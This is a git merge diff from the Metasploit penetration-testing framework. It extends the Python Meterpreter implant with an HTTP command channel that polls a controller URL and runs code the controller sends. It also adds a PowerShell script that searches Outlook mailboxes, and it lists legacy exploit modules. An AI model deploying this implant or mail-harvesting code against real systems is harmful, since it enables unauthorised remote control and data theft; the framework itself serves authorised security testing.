Merge branch 'master' into feature/MSP-11671/test-optimization
MSP-11671 Conflicts: .travis.ymlbug/bundler_fix
commit
8c0610cb7a
|
@ -83,3 +83,7 @@ data/meterpreter/screenshot.*.dll
|
||||||
# private source. If you're interested in this functionality,
|
# private source. If you're interested in this functionality,
|
||||||
# check out Metasploit Pro: http://metasploit.com/download
|
# check out Metasploit Pro: http://metasploit.com/download
|
||||||
data/meterpreter/ext_server_pivot.*.dll
|
data/meterpreter/ext_server_pivot.*.dll
|
||||||
|
|
||||||
|
# Avoid checking in metakitty, the source for
|
||||||
|
# https://rapid7.github.io/metasploit-framework. It's an orphan branch.
|
||||||
|
/metakitty
|
||||||
|
|
|
@ -36,3 +36,9 @@ notifications:
|
||||||
|
|
||||||
git:
|
git:
|
||||||
depth: 5
|
depth: 5
|
||||||
|
|
||||||
|
# Blacklist certain branches from triggering travis builds
|
||||||
|
branches:
|
||||||
|
except:
|
||||||
|
- gh-pages
|
||||||
|
- metakitty
|
||||||
|
|
|
@ -112,7 +112,7 @@ GEM
|
||||||
metasploit-concern (0.3.0)
|
metasploit-concern (0.3.0)
|
||||||
activesupport (~> 3.0, >= 3.0.0)
|
activesupport (~> 3.0, >= 3.0.0)
|
||||||
railties (< 4.0.0)
|
railties (< 4.0.0)
|
||||||
metasploit-credential (0.13.3)
|
metasploit-credential (0.13.5)
|
||||||
metasploit-concern (~> 0.3.0)
|
metasploit-concern (~> 0.3.0)
|
||||||
metasploit-model (~> 0.28.0)
|
metasploit-model (~> 0.28.0)
|
||||||
metasploit_data_models (~> 0.21.0)
|
metasploit_data_models (~> 0.21.0)
|
||||||
|
|
|
@ -60,9 +60,13 @@ if sys.version_info[0] < 3:
|
||||||
bytes = lambda *args: str(*args[:1])
|
bytes = lambda *args: str(*args[:1])
|
||||||
NULL_BYTE = '\x00'
|
NULL_BYTE = '\x00'
|
||||||
else:
|
else:
|
||||||
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
|
if isinstance(__builtins__, dict):
|
||||||
|
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
|
||||||
|
str = lambda x: __builtins__['str'](x, 'UTF-8')
|
||||||
|
else:
|
||||||
|
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
|
||||||
|
str = lambda x: __builtins__.str(x, 'UTF-8')
|
||||||
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
||||||
str = lambda x: __builtins__['str'](x, 'UTF-8')
|
|
||||||
NULL_BYTE = bytes('\x00', 'UTF-8')
|
NULL_BYTE = bytes('\x00', 'UTF-8')
|
||||||
long = int
|
long = int
|
||||||
|
|
||||||
|
@ -501,6 +505,8 @@ IFLA_MTU = 4
|
||||||
IFA_ADDRESS = 1
|
IFA_ADDRESS = 1
|
||||||
IFA_LABEL = 3
|
IFA_LABEL = 3
|
||||||
|
|
||||||
|
meterpreter.register_extension('stdapi')
|
||||||
|
|
||||||
def calculate_32bit_netmask(bits):
|
def calculate_32bit_netmask(bits):
|
||||||
if bits == 32:
|
if bits == 32:
|
||||||
return 0xffffffff
|
return 0xffffffff
|
||||||
|
@ -669,8 +675,10 @@ def channel_open_stdapi_net_tcp_server(request, response):
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
def stdapi_sys_config_getenv(request, response):
|
def stdapi_sys_config_getenv(request, response):
|
||||||
for env_var in packet_enum_tlvs(request, TLV_TYPE_ENV_VARIABLE):
|
for env_var in packet_enum_tlvs(request, TLV_TYPE_ENV_VARIABLE):
|
||||||
pgroup = ''
|
pgroup = bytes()
|
||||||
env_var = env_var['value'].translate(None, '%$')
|
env_var = env_var['value']
|
||||||
|
env_var = env_var.replace('%', '')
|
||||||
|
env_var = env_var.replace('$', '')
|
||||||
env_val = os.environ.get(env_var)
|
env_val = os.environ.get(env_var)
|
||||||
if env_val:
|
if env_val:
|
||||||
pgroup += tlv_pack(TLV_TYPE_ENV_VARIABLE, env_var)
|
pgroup += tlv_pack(TLV_TYPE_ENV_VARIABLE, env_var)
|
||||||
|
@ -692,7 +700,9 @@ def stdapi_sys_config_getsid(request, response):
|
||||||
|
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
def stdapi_sys_config_getuid(request, response):
|
def stdapi_sys_config_getuid(request, response):
|
||||||
if has_windll:
|
if has_pwd:
|
||||||
|
username = pwd.getpwuid(os.getuid()).pw_name
|
||||||
|
elif has_windll:
|
||||||
token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess())
|
token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess())
|
||||||
if not token:
|
if not token:
|
||||||
return ERROR_FAILURE, response
|
return ERROR_FAILURE, response
|
||||||
|
|
|
@ -18,19 +18,50 @@ except ImportError:
|
||||||
else:
|
else:
|
||||||
has_windll = hasattr(ctypes, 'windll')
|
has_windll = hasattr(ctypes, 'windll')
|
||||||
|
|
||||||
|
# this MUST be imported for urllib to work on OSX
|
||||||
|
try:
|
||||||
|
import SystemConfiguration as osxsc
|
||||||
|
has_osxsc = True
|
||||||
|
except ImportError:
|
||||||
|
has_osxsc = False
|
||||||
|
|
||||||
|
try:
|
||||||
|
urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
|
||||||
|
if sys.version_info[0] < 3:
|
||||||
|
urllib = __import__('urllib2', fromlist=urllib_imports)
|
||||||
|
else:
|
||||||
|
urllib = __import__('urllib.request', fromlist=urllib_imports)
|
||||||
|
except ImportError:
|
||||||
|
has_urllib = False
|
||||||
|
else:
|
||||||
|
has_urllib = True
|
||||||
|
|
||||||
if sys.version_info[0] < 3:
|
if sys.version_info[0] < 3:
|
||||||
is_bytes = lambda obj: issubclass(obj.__class__, str)
|
is_bytes = lambda obj: issubclass(obj.__class__, str)
|
||||||
bytes = lambda *args: str(*args[:1])
|
bytes = lambda *args: str(*args[:1])
|
||||||
NULL_BYTE = '\x00'
|
NULL_BYTE = '\x00'
|
||||||
else:
|
else:
|
||||||
|
if isinstance(__builtins__, dict):
|
||||||
|
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
|
||||||
|
str = lambda x: __builtins__['str'](x, 'UTF-8')
|
||||||
|
else:
|
||||||
|
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
|
||||||
|
str = lambda x: __builtins__.str(x, 'UTF-8')
|
||||||
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
||||||
str = lambda x: __builtins__['str'](x, 'UTF-8')
|
|
||||||
NULL_BYTE = bytes('\x00', 'UTF-8')
|
NULL_BYTE = bytes('\x00', 'UTF-8')
|
||||||
|
long = int
|
||||||
|
|
||||||
#
|
#
|
||||||
# Constants
|
# Constants
|
||||||
#
|
#
|
||||||
|
|
||||||
|
# these values may be patched, DO NOT CHANGE THEM
|
||||||
DEBUGGING = False
|
DEBUGGING = False
|
||||||
|
HTTP_COMMUNICATION_TIMEOUT = 300
|
||||||
|
HTTP_CONNECTION_URL = None
|
||||||
|
HTTP_EXPIRATION_TIMEOUT = 604800
|
||||||
|
HTTP_PROXY = None
|
||||||
|
HTTP_USER_AGENT = None
|
||||||
|
|
||||||
PACKET_TYPE_REQUEST = 0
|
PACKET_TYPE_REQUEST = 0
|
||||||
PACKET_TYPE_RESPONSE = 1
|
PACKET_TYPE_RESPONSE = 1
|
||||||
|
@ -284,15 +315,43 @@ class STDProcess(subprocess.Popen):
|
||||||
export(STDProcess)
|
export(STDProcess)
|
||||||
|
|
||||||
class PythonMeterpreter(object):
|
class PythonMeterpreter(object):
|
||||||
def __init__(self, socket):
|
def __init__(self, socket=None):
|
||||||
self.socket = socket
|
self.socket = socket
|
||||||
|
self.driver = None
|
||||||
|
self.running = False
|
||||||
|
self.communications_active = True
|
||||||
|
self.communications_last = 0
|
||||||
|
if self.socket:
|
||||||
|
self.driver = 'tcp'
|
||||||
|
elif HTTP_CONNECTION_URL:
|
||||||
|
self.driver = 'http'
|
||||||
|
self.last_registered_extension = None
|
||||||
self.extension_functions = {}
|
self.extension_functions = {}
|
||||||
self.channels = {}
|
self.channels = {}
|
||||||
self.interact_channels = []
|
self.interact_channels = []
|
||||||
self.processes = {}
|
self.processes = {}
|
||||||
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
|
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
|
||||||
self.extension_functions[func[1:]] = getattr(self, func)
|
self.extension_functions[func[1:]] = getattr(self, func)
|
||||||
self.running = True
|
if self.driver:
|
||||||
|
if hasattr(self, 'driver_init_' + self.driver):
|
||||||
|
getattr(self, 'driver_init_' + self.driver)()
|
||||||
|
self.running = True
|
||||||
|
|
||||||
|
def driver_init_http(self):
|
||||||
|
if HTTP_PROXY:
|
||||||
|
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY})
|
||||||
|
opener = urllib.build_opener(proxy_handler)
|
||||||
|
else:
|
||||||
|
opener = urllib.build_opener()
|
||||||
|
if HTTP_USER_AGENT:
|
||||||
|
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
|
||||||
|
urllib.install_opener(opener)
|
||||||
|
self._http_last_seen = time.time()
|
||||||
|
self._http_request_headers = {'Content-Type': 'application/octet-stream'}
|
||||||
|
|
||||||
|
def register_extension(self, extension_name):
|
||||||
|
self.last_registered_extension = extension_name
|
||||||
|
return self.last_registered_extension
|
||||||
|
|
||||||
def register_function(self, func):
|
def register_function(self, func):
|
||||||
self.extension_functions[func.__name__] = func
|
self.extension_functions[func.__name__] = func
|
||||||
|
@ -318,19 +377,73 @@ class PythonMeterpreter(object):
|
||||||
self.processes[idx] = process
|
self.processes[idx] = process
|
||||||
return idx
|
return idx
|
||||||
|
|
||||||
|
def get_packet(self):
|
||||||
|
packet = getattr(self, 'get_packet_' + self.driver)()
|
||||||
|
self.communications_last = time.time()
|
||||||
|
if packet:
|
||||||
|
self.communications_active = True
|
||||||
|
return packet
|
||||||
|
|
||||||
|
def send_packet(self, packet):
|
||||||
|
getattr(self, 'send_packet_' + self.driver)(packet)
|
||||||
|
self.communications_last = time.time()
|
||||||
|
self.communications_active = True
|
||||||
|
|
||||||
|
def get_packet_http(self):
|
||||||
|
packet = None
|
||||||
|
request = urllib.Request(HTTP_CONNECTION_URL, bytes('RECV', 'UTF-8'), self._http_request_headers)
|
||||||
|
try:
|
||||||
|
url_h = urllib.urlopen(request)
|
||||||
|
packet = url_h.read()
|
||||||
|
except:
|
||||||
|
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
|
||||||
|
self.running = False
|
||||||
|
else:
|
||||||
|
self._http_last_seen = time.time()
|
||||||
|
if packet:
|
||||||
|
packet = packet[8:]
|
||||||
|
else:
|
||||||
|
packet = None
|
||||||
|
return packet
|
||||||
|
|
||||||
|
def send_packet_http(self, packet):
|
||||||
|
request = urllib.Request(HTTP_CONNECTION_URL, packet, self._http_request_headers)
|
||||||
|
try:
|
||||||
|
url_h = urllib.urlopen(request)
|
||||||
|
response = url_h.read()
|
||||||
|
except:
|
||||||
|
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
|
||||||
|
self.running = False
|
||||||
|
else:
|
||||||
|
self._http_last_seen = time.time()
|
||||||
|
|
||||||
|
def get_packet_tcp(self):
|
||||||
|
packet = None
|
||||||
|
if len(select.select([self.socket], [], [], 0.5)[0]):
|
||||||
|
packet = self.socket.recv(8)
|
||||||
|
if len(packet) != 8:
|
||||||
|
self.running = False
|
||||||
|
return None
|
||||||
|
pkt_length, pkt_type = struct.unpack('>II', packet)
|
||||||
|
pkt_length -= 8
|
||||||
|
packet = bytes()
|
||||||
|
while len(packet) < pkt_length:
|
||||||
|
packet += self.socket.recv(4096)
|
||||||
|
return packet
|
||||||
|
|
||||||
|
def send_packet_tcp(self, packet):
|
||||||
|
self.socket.send(packet)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
while self.running:
|
while self.running:
|
||||||
if len(select.select([self.socket], [], [], 0.5)[0]):
|
request = None
|
||||||
request = self.socket.recv(8)
|
should_get_packet = self.communications_active or ((time.time() - self.communications_last) > 0.5)
|
||||||
if len(request) != 8:
|
self.communications_active = False
|
||||||
break
|
if should_get_packet:
|
||||||
req_length, req_type = struct.unpack('>II', request)
|
request = self.get_packet()
|
||||||
req_length -= 8
|
if request:
|
||||||
request = bytes()
|
|
||||||
while len(request) < req_length:
|
|
||||||
request += self.socket.recv(4096)
|
|
||||||
response = self.create_response(request)
|
response = self.create_response(request)
|
||||||
self.socket.send(response)
|
self.send_packet(response)
|
||||||
else:
|
else:
|
||||||
# iterate over the keys because self.channels could be modified if one is closed
|
# iterate over the keys because self.channels could be modified if one is closed
|
||||||
channel_ids = list(self.channels.keys())
|
channel_ids = list(self.channels.keys())
|
||||||
|
@ -370,7 +483,7 @@ class PythonMeterpreter(object):
|
||||||
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
|
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
|
||||||
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
|
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
|
||||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||||
self.socket.send(pkt)
|
self.send_packet(pkt)
|
||||||
if data:
|
if data:
|
||||||
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
||||||
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
|
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
|
||||||
|
@ -379,7 +492,7 @@ class PythonMeterpreter(object):
|
||||||
pkt += tlv_pack(TLV_TYPE_LENGTH, len(data))
|
pkt += tlv_pack(TLV_TYPE_LENGTH, len(data))
|
||||||
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
||||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||||
self.socket.send(pkt)
|
self.send_packet(pkt)
|
||||||
|
|
||||||
def handle_dead_resource_channel(self, channel_id):
|
def handle_dead_resource_channel(self, channel_id):
|
||||||
del self.channels[channel_id]
|
del self.channels[channel_id]
|
||||||
|
@ -390,21 +503,25 @@ class PythonMeterpreter(object):
|
||||||
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
||||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||||
self.socket.send(pkt)
|
self.send_packet(pkt)
|
||||||
|
|
||||||
def _core_loadlib(self, request, response):
|
def _core_loadlib(self, request, response):
|
||||||
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
|
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
|
||||||
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
|
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
|
||||||
return ERROR_FAILURE
|
return ERROR_FAILURE
|
||||||
preloadlib_methods = list(self.extension_functions.keys())
|
|
||||||
|
self.last_registered_extension = None
|
||||||
symbols_for_extensions = {'meterpreter':self}
|
symbols_for_extensions = {'meterpreter':self}
|
||||||
symbols_for_extensions.update(EXPORTED_SYMBOLS)
|
symbols_for_extensions.update(EXPORTED_SYMBOLS)
|
||||||
i = code.InteractiveInterpreter(symbols_for_extensions)
|
i = code.InteractiveInterpreter(symbols_for_extensions)
|
||||||
i.runcode(compile(data_tlv['value'], '', 'exec'))
|
i.runcode(compile(data_tlv['value'], '', 'exec'))
|
||||||
postloadlib_methods = list(self.extension_functions.keys())
|
extension_name = self.last_registered_extension
|
||||||
new_methods = list(filter(lambda x: x not in preloadlib_methods, postloadlib_methods))
|
|
||||||
for method in new_methods:
|
if extension_name:
|
||||||
response += tlv_pack(TLV_TYPE_METHOD, method)
|
check_extension = lambda x: x.startswith(extension_name)
|
||||||
|
lib_methods = list(filter(check_extension, list(self.extension_functions.keys())))
|
||||||
|
for method in lib_methods:
|
||||||
|
response += tlv_pack(TLV_TYPE_METHOD, method)
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
def _core_shutdown(self, request, response):
|
def _core_shutdown(self, request, response):
|
||||||
|
@ -546,5 +663,8 @@ if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
|
||||||
os.setsid()
|
os.setsid()
|
||||||
except OSError:
|
except OSError:
|
||||||
pass
|
pass
|
||||||
met = PythonMeterpreter(s)
|
if HTTP_CONNECTION_URL and has_urllib:
|
||||||
|
met = PythonMeterpreter()
|
||||||
|
else:
|
||||||
|
met = PythonMeterpreter(s)
|
||||||
met.run()
|
met.run()
|
||||||
|
|
|
@ -0,0 +1,47 @@
|
||||||
|
function GetSubfolders($root) {
|
||||||
|
$folders = @()
|
||||||
|
$folders += $root
|
||||||
|
foreach ($folder in $root.Folders) {
|
||||||
|
$folders += GetSubfolders($folder)
|
||||||
|
}
|
||||||
|
return $folders
|
||||||
|
}
|
||||||
|
|
||||||
|
function List-Folder {
|
||||||
|
Clear-host
|
||||||
|
Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
|
||||||
|
$Outlook = New-Object -ComObject Outlook.Application
|
||||||
|
$Namespace = $Outlook.GetNameSpace("MAPI")
|
||||||
|
$account = $NameSpace.Folders
|
||||||
|
$folders = @()
|
||||||
|
foreach ($acc in $account) {
|
||||||
|
foreach ($folder in $acc.Folders) {
|
||||||
|
$folders += GetSubfolders($folder)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$folders | FT FolderPath
|
||||||
|
}
|
||||||
|
|
||||||
|
function Get-Emails {
|
||||||
|
param ([String]$searchTerm,[String]$Folder)
|
||||||
|
Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
|
||||||
|
$Outlook = New-Object -ComObject Outlook.Application
|
||||||
|
$Namespace = $Outlook.GetNameSpace("MAPI")
|
||||||
|
$account = $NameSpace.Folders
|
||||||
|
$found = $false
|
||||||
|
foreach ($acc in $account) {
|
||||||
|
try {
|
||||||
|
$Email = $acc.Folders.Item($Folder).Items
|
||||||
|
$result = $Email | Where-Object {$_.HTMLBody -like '*' + $searchTerm + '*' -or $_.TaskSubject -like '*' + $searchTerm + '*'}
|
||||||
|
if($result) {
|
||||||
|
$found = $true
|
||||||
|
$result | Format-List To, SenderEmailAddress, CreationTime, TaskSubject, HTMLBody
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
Write-Host "Folder" $Folder "not found in mailbox" $acc.Name
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if(-Not $found) {
|
||||||
|
Write-Host "Searchterm" $searchTerm "not found"
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,34 @@
|
||||||
|
# Metasploit Developer Documentation
|
||||||
|
|
||||||
|
*(last updated December 1, 2014)
|
||||||
|
|
||||||
|
Metasploit is actively supported by a community of hundreds of
|
||||||
|
contributors and thousands of users world-wide. As a result, the
|
||||||
|
accompanying documentation moves quite quickly.
|
||||||
|
|
||||||
|
The best source of documentation on Metasploit development is
|
||||||
|
https://github.com/rapid7/metasploit-framework/wiki. There are many
|
||||||
|
treasures there, such as:
|
||||||
|
|
||||||
|
* [Evading Antivirus](https://github.com/rapid7/metasploit-framework/wiki/Evading-Anti-Virus)
|
||||||
|
* [How Payloads Work](https://github.com/rapid7/metasploit-framework/wiki/How-payloads-work)
|
||||||
|
* [How to use Datastore Options](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-datastore-options)
|
||||||
|
* [How to write browser exploits with BES](https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer)
|
||||||
|
* [How to write a bruteforcer](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Msf%3A%3AAuxiliary%3A%3AAuthBrute-to-write-a-bruteforcer)
|
||||||
|
|
||||||
|
...and many, many more.
|
||||||
|
|
||||||
|
## API Documentation
|
||||||
|
|
||||||
|
If you are looking for API documentation, you may run `rake yard` to
|
||||||
|
generate a navigatable view of the comment documentation used throughout
|
||||||
|
Metasploit, or visit https://rapid7.github.io/metasploit-framework/api
|
||||||
|
for a recently generated online version.
|
||||||
|
|
||||||
|
## Contributing
|
||||||
|
|
||||||
|
If you would like to contribute to the documentation effort, please see
|
||||||
|
http://yardoc.org/ for details on how to write YARD-compatible comments,
|
||||||
|
and send us a [Pull Request](https://github.com/rapid7/metasploit-framework/pulls)
|
||||||
|
with your contribution.
|
||||||
|
|
|
@ -1 +0,0 @@
|
||||||
rake yard
|
|
|
@ -1,5 +0,0 @@
|
||||||
This directory contains 2.7 -> 3.0 compatibility information.
|
|
||||||
|
|
||||||
|
|
||||||
Exploit Modules: exploits.txt
|
|
||||||
Payload Modules: payloads.txt
|
|
|
@ -1,161 +0,0 @@
|
||||||
Unfinished modules
|
|
||||||
==================
|
|
||||||
|
|
||||||
arkeia_agent_access
|
|
||||||
gnu_mailutils_imap4d
|
|
||||||
hpux_ftpd_preauth_list
|
|
||||||
iis_source_dumper
|
|
||||||
phpnuke_search_module
|
|
||||||
realvnc_41_bypass
|
|
||||||
solaris_snmpxdmid
|
|
||||||
sygate_policy_manager
|
|
||||||
uow_imap4_copy
|
|
||||||
uow_imap4_lsub - partially (linux/imap/imap_uw_lsub.rb)
|
|
||||||
wzdftpd_sitem
|
|
||||||
|
|
||||||
|
|
||||||
Completed modules
|
|
||||||
=================
|
|
||||||
|
|
||||||
afp_loginext exploit/osx/afp/loginext
|
|
||||||
aim_goaway exploit/windows/browser/aim_goaway
|
|
||||||
altn_webadmin exploit/windows/http/altn_webadmin
|
|
||||||
apache_chunked_win32 exploit/windows/http/apache_chunked
|
|
||||||
arkeia_type77_macos exploit/osx/arkeia/type77
|
|
||||||
arkeia_type77_win32 exploit/windows/arkeia/type77
|
|
||||||
awstats_configdir_exec exploit/unix/webapp/awstats_configdir_exec
|
|
||||||
barracuda_img_exec exploit/unix/webapp/barracuda_img_exec
|
|
||||||
backupexec_agent exploit/windows/backupexec/remote_agent
|
|
||||||
backupexec_dump auxiliary/admin/backupexec/dump
|
|
||||||
backupexec_ns exploit/windows/backupexec/name_service
|
|
||||||
backupexec_registry auxiliary/admin/backupexec/registry
|
|
||||||
badblue_ext_overflow exploit/windows/http/badblue_ext_overflow
|
|
||||||
bakbone_netvault_heap exploit/windows/misc/bakbone_netvault_heap
|
|
||||||
blackice_pam_icq exploit/windows/firewall/blackice_pam_icq
|
|
||||||
bluecoat_winproxy exploit/windows/proxy/bluecoat_winproxy_host
|
|
||||||
bomberclone_overflow_win32 exploit/windows/misc/bomberclone_overflow
|
|
||||||
cabrightstor_disco exploit/windows/brightstor/discovery_udp
|
|
||||||
cabrightstor_disco_servicepc exploit/windows/brightstor/discovery_tcp
|
|
||||||
cabrightstor_sqlagent exploit/windows/brightstor/sql_agent
|
|
||||||
cabrightstor_uniagent exploit/windows/brightstor/universal_agent
|
|
||||||
cacam_logsecurity_win32 exploit/windows/unicenter/cam_log_security
|
|
||||||
cacti_graphimage_exec exploit/unix/webapp/cacti_graphimage_exec
|
|
||||||
calicclnt_getconfig exploit/windows/license/calicclnt_getconfig
|
|
||||||
calicserv_getconfig exploit/windows/license/calicserv_getconfig
|
|
||||||
cesarftp_mkd exploit/windows/ftp/cesarftp_mkd
|
|
||||||
distcc_exec exploit/unix/misc/distcc_exec
|
|
||||||
edirectory_imonitor exploit/windows/http/edirectory_imonitor
|
|
||||||
edirectory_imonitor2 exploit/windows/http/edirectory_host
|
|
||||||
eiq_license exploit/windows/misc/eiqnetworks_esa
|
|
||||||
eudora_imap exploit/windows/imap/eudora_list
|
|
||||||
exchange2000_xexch50 exploit/windows/smtp/ms03_046_exchange2000_xexch50
|
|
||||||
firefox_queryinterface_linux exploit/multi/browser/firefox_queryinterface
|
|
||||||
firefox_queryinterface_osx exploit/multi/browser/firefox_queryinterface
|
|
||||||
freeftpd_user exploit/windows/ftp/freeftpd_user
|
|
||||||
freesshd_key_exchange exploit/windows/ssh/freesshd_key_exchange
|
|
||||||
freeftpd_key_exchange exploit/windows/ftp/freeftpd_key_exchange
|
|
||||||
futuresoft_tftpd exploit/windows/tftp/futuresoft_transfermode
|
|
||||||
globalscapeftp_user_input exploit/windows/ftp/globalscapeftp_input
|
|
||||||
google_proxystylesheet_exec exploit/unix/webapp/google_proxystylesheet_exec
|
|
||||||
hpux_lpd_exec exploit/hpux/lpd/cleanup_exec
|
|
||||||
ia_webmail exploit/windows/http/ia_webmail
|
|
||||||
icecast_header exploit/windows/http/icecast_header
|
|
||||||
ie_objecttype exploit/windows/browser/ms03_020_ie_objecttype
|
|
||||||
ie_vml_rectfill exploit/windows/browser/ms06_055_vml_method
|
|
||||||
ie_webview_setslice exploit/windows/browser/ms06_057_webview_setslice
|
|
||||||
ie_xp_pfv_metafile exploit/windows/browser/ms06_001_wmf_setabortproc
|
|
||||||
ie_createtextrange exploit/windows/browser/ms06_013_createtextrange
|
|
||||||
ie_iscomponentinstalled exploit/windows/browser/ie_iscomponentinstalled
|
|
||||||
ie_createobject exploit/windows/browser/ie_createobject
|
|
||||||
iis40_htr exploit/windows/iis/ms02_018_htr
|
|
||||||
iis50_printer_overflow exploit/windows/iis/ms01_023_printer
|
|
||||||
iis50_webdav_ntdll exploit/windows/iis/ms03_007_ntdll_webdav
|
|
||||||
iis_fp30reg_chunked exploit/windows/isapi/fp30reg_chunked
|
|
||||||
iis_nsiislog_post exploit/windows/isapi/nsiislog_post
|
|
||||||
iis_w3who_overflow exploit/windows/isapi/w3who_query
|
|
||||||
imail_imap_delete exploit/windows/imap/imail_delete
|
|
||||||
imail_ldap exploit/windows/ldap/imail_thc
|
|
||||||
irix_lpsched_exec exploit/irix/lpd/tagprinter_exec
|
|
||||||
kerio_auth exploit/windows/firewall/kerio_auth
|
|
||||||
lsass_ms04_011 exploit/windows/smb/ms04_011_lsass
|
|
||||||
mailenable_auth_header exploit/windows/http/mailenable_auth_header
|
|
||||||
mailenable_imap exploit/windows/imap/mailenable_status
|
|
||||||
mailenable_imap_w3c exploit/windows/imap/mailenable_w3c_select
|
|
||||||
maxdb_webdbm_get_overflow exploit/windows/http/maxdb_webdbm_get_overflow
|
|
||||||
mcafee_epolicy_source exploit/windows/http/mcafee_epolicy_source
|
|
||||||
mdaemon_imap_cram_md5 exploit/windows/imap/mdaemon_cram_md5
|
|
||||||
mercantec_softcart exploit/bsdi/softcart/mercantec_softcart
|
|
||||||
mercur_imap_select_overflow exploit/windows/imap/mercur_imap_select_overflow
|
|
||||||
mercury_imap exploit/windows/imap/mercury_rename
|
|
||||||
minishare_get_overflow exploit/windows/http/minishare_get_overflow
|
|
||||||
mozilla_compareto exploit/multi/browser/mozilla_compareto
|
|
||||||
ms05_030_nntp exploit/windows/nntp/ms05_030_nntp
|
|
||||||
ms05_039_pnp exploit/windows/smb/ms05_039_pnp
|
|
||||||
msasn1_ms04_007_killbill exploit/windows/smb/ms04_007_killbill
|
|
||||||
msmq_deleteobject_ms05_017 exploit/windows/dcerpc/ms05_017_msmq
|
|
||||||
msrpc_dcom_ms03_026 exploit/windows/dcerpc/ms03_026_dcom
|
|
||||||
mssql2000_preauthentication exploit/windows/mssql/ms02_056_hello
|
|
||||||
mssql2000_resolution exploit/windows/mssql/ms02_039_slammer
|
|
||||||
netapi_ms06_040 exploit/windows/smb/ms06_040_netapi
|
|
||||||
netterm_netftpd_user_overflow exploit/windows/ftp/netterm_netftpd_user
|
|
||||||
niprint_lpd exploit/windows/lpd/niprint
|
|
||||||
novell_messenger_acceptlang exploit/windows/http/novell_messenger_acceptlang
|
|
||||||
openview_connectednodes_exec exploit/unix/webapp/openview_connectednodes_exec
|
|
||||||
openview_omniback_exec exploit/unix/misc/openview_omniback_exec
|
|
||||||
oracle9i_xdb_ftp exploit/windows/ftp/oracle9i_xdb_ftp_unlock
|
|
||||||
oracle9i_xdb_ftp_pass exploit/windows/ftp/oracle9i_xdb_ftp_pass
|
|
||||||
oracle9i_xdb_http exploit/windows/http/oracle9i_xdb_pass
|
|
||||||
pajax_remote_exec exploit/unix/webapp/pajax_remote_exec
|
|
||||||
payload_handler exploit/multi/handler
|
|
||||||
peercast_url_linux exploit/linux/http/peercast_url
|
|
||||||
peercast_url_win32 exploit/windows/http/peercast_url
|
|
||||||
php_wordpress_lastpost exploit/unix/webapp/php_wordpress_lastpost
|
|
||||||
php_vbulletin_template exploit/unix/webapp/php_vbulletin_template
|
|
||||||
php_xmlrpc_eval exploit/unix/webapp/php_xmlrpc_eval
|
|
||||||
phpbb_highlight exploit/unix/webapp/phpbb_highlight
|
|
||||||
poptop_negative_read exploit/linux/pptp/poptop_negative_read
|
|
||||||
privatewire_gateway_win32 exploit/windows/http/privatewire_gateway
|
|
||||||
putty_ssh exploit/windows/ssh/putty_msg_debug
|
|
||||||
realserver_describe_linux exploit/multi/realserver/describe
|
|
||||||
realvnc_client exploit/windows/vnc/realvnc_client
|
|
||||||
rras_ms06_025 exploit/windows/smb/ms06_025_rras
